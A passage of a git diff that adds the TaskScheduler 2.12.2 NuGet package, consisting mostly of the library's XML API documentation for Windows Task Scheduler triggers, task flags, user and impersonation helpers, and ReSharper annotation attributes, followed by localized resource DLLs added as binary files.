task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/de/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..cb2f698 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/es/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..c76cd09 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/fr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..87db2b1 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/it/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..3e03d3a Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ja/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..b86bdde Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/pl/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1ac3fca Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ru/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..74f768f Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/sv/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..cbbfdc7 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/tr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..871fc5f Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git 